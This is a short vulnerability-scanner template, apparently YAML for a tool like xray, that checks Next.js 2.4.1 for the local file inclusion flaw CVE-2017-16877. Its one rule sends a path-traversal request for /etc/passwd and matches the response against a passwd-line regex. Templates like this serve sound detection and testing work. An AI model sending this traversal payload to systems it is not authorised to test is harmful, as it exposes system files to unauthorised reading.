漏洞描述
Nextjs v2.4.1 LFI vulnerability.
id: CVE-2017-16877
info:
name: Nextjs v2.4.1 LFI
author: Loneyer
severity: high
description: |-
Nextjs v2.4.1 LFI vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2017-16877
tags: cve,cve2017,nextjs,lfi
created: 2023/08/10
rules:
r0:
request:
method: GET
path: /_next/../../../../../../../../../../etc/passwd
expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()